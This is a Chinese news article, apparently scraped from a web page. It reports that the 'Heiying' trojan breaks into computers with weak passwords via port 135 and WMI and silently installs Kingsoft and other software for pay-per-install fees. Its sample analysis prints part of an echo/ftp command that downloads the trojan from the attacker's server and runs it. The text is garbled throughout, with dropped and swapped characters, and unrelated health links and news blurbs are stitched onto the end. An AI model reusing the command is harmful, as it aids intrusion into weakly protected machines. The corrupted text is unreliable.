电脑无故多出金山毒霸实为黑鹰病毒作怪

2019年05月15日 来源:

近日,针对媒体披露金山猎豹浏览器借病毒推行一事,金山同盟于2月26日发布公告,承认情况属实并承诺严肃处理。但是在公告发布一周后,有友发现金山软件病毒推行愈演愈烈,并对截获的名为黑鹰的下载者病毒进行了分析,证实包括金山毒霸、金山卫士、金山浏览器等多款软件借病毒推行,金山的严打公告真实性也因此遭到严重质疑。

图1:发现的黑鹰病毒捆绑推广金山软件

经安全工程师分析,黑鹰病毒主要针对存在弱密码的计算机进行攻击,在进入用户电脑后,黑鹰病毒就会自动下载并安装推广软件,其中就包括金山毒霸,金山卫士,猎豹浏览器,无极影音,6080游戏,Dushow美女视频合集等(图1)。在用户电脑的直接表现就是,桌面上凭空出现多款软件。

图2:用户桌面上出现的这些软件系木马自动安装

此前,在国内多家媒体报道的重压之下,金山同盟承认病毒推广问题存在,但将推给参与推行的联盟会员的做法被民认为诚意不足。但目前看来,金山公告只是掩人耳目。业内分析表示,一个金山猎豹浏览器有效安装是0.4元,金山毒霸是0.5元,酷屏是0.2元。病毒制造者也看准了金山背后腾讯和百度两大金主。

目前,尽管金山静默安装器、软件捆绑静默包URL等推行方式非常隐蔽,但还是被愤怒的民揪了出来,有友在微博上愤怒的质问金山:你一个杀毒厂商,和病毒木马蛇鼠一窝算怎么回事儿,回头就卸载了金山的所有产品。

由于该木马主要通过扫描135端口弱口令的方式寻觅攻击目标,所以安全专家建议民应提高安全防范意识,使用卡巴斯基、360、Nod32等具备弱口令防护功能的专业安全软件提高电脑安全防护能力。

附:黑鹰病毒样本分析:

1、黑客对一个段进行135端口扫描,对存在弱口令的计算机尝试使用wmi进行远程登录,一旦登录成功,即可远程履行指令。攻击成功后,黑客会通过wmi启动一个e,履行以下指令,下载这个下载者木马并履行:

/c @echo open t@echo t@echo t@echo t@echo get t@echo t@ftp -s:tdel e黑客的ftp服务器如下:

2、木马启动之后,会访问一个百度空间的地址(,获得要下载程序的数据。

3、下载者木马从从中抓取页的代码:

4、下载者从页中分离下载链接数据:

5、拿到这些数据之后,和百度盘的链接组合(,拼装成一个完整的下载地址,下载者中拼装数据的代码:

6、拼装好的链接,对应的文件:

7、下载者被捕获时下载的文件有;

8、分别对应的有金山毒霸,金山卫士,金山浏览器,无极影音,6080游戏,Dushow美女视频合集等。

9、下载者中准备下载文件的代码:

10、下载者木马在安装程序

产后感染原因有哪些
产后流血异常怎么办
产后流血正常情况
相关文章
  • 四川雅安宝兴县发生40级地震友称成都震感
    四川雅安宝兴县发生40级地震友称成都震感

    四川雅安宝兴县发生4.0级地震 友称成都震感相当强烈红点处为地震发生地点中国地震台正式测定:06月05日18时30分在四川省雅安市宝兴县(北纬30.3度,东经102.8度)发生4.0级地震,震源深度18千米。成都等地友表示震感强烈。据中国地震台正式测定:06月05日18时30分在...

  • 周末要闻回顾8月22日至23日
    周末要闻回顾8月22日至23日

    国内抗战胜利70周年阅兵式22日举行预演天津爆炸受损房屋将分类处置 已有开发商愿回购释永信被举报材料已转河南检方 涉贪污等6内容瑞海安评报告低调公布:称1000米内有居民区合规巡视组幕后故事:有人被约谈时拍桌子对抗组织国际安倍晋三否认吐血传言 已针对报...

  • 宝安区重奖企业及品牌7家企业荣获宝安
    宝安区重奖企业及品牌7家企业荣获宝安

    宝安区重奖企业及品牌 7家企业荣获宝安区质量奖昨日,宝安区召开质量大会,颁发第七届宝安区质量奖;同时,2013年荣获、广东省名牌产品和着名商标的企业也受到奖励。根据安排,相关获奖单位将分获100万、50万、30万及20万元不等的奖金。【深...

  • 天然气管道运输将由政府定价按8收益率回报企业
    天然气管道运输将由政府定价按8收益率回报企业

    国家发改委就天然气管道运输价格管理办法向社会征求意见,市场机制改革迈出重要一步◎每经 周程程8月16日,国家发改委发布关于向社会公开征求对《天然气管道运输价格管理办法》和《天然气管道运输定价成本监审办法》意见的公告,明确管道运输价格实行政府...

  • 贺州十八水景区漂流
    贺州十八水景区漂流

    导读:想要去旅游,贺州十八水景区漂流是个好地方。那么贺州十八水景区漂流怎么样,贺州十八水景区漂流怎么去呢?一般人提到贺州十八水景区漂流,会说这是个美丽的地方,但具体贺州十八水景区漂流怎么样,很多人答不出。将为你详细介绍贺州十八水景区漂...

  • 淄川干部办宴席需申报并入档
    淄川干部办宴席需申报并入档

    摘 要:根据省委统一部署,今年3月中旬,省委第十巡视组对淄博市淄川区、周村区和沂源县进行了专项巡视。6月初,巡视组对在巡视中发现的问题进行反馈,要求这三个县区进行落实整改。日前,它们分别公布整改情况。根据省委统一部署,今年3月中旬,省委第十...